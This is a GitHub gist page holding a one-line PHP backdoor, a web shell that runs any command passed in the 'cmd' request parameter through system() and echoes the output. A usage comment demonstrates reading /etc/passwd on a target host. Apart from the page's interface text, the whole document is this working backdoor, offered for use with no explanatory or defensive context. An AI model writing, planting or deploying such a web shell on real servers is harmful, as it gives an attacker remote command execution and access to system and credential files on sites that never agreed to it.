Skip to content

Instantly share code, notes, and snippets.

@yeho
Forked from sente/Simple-Backdoor-One-Liner.php
Created August 22, 2022 13:48
Show Gist options
  • Save yeho/481ae3602d654c20c63fdc2bb3842e5c to your computer and use it in GitHub Desktop.
Save yeho/481ae3602d654c20c63fdc2bb3842e5c to your computer and use it in GitHub Desktop.
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment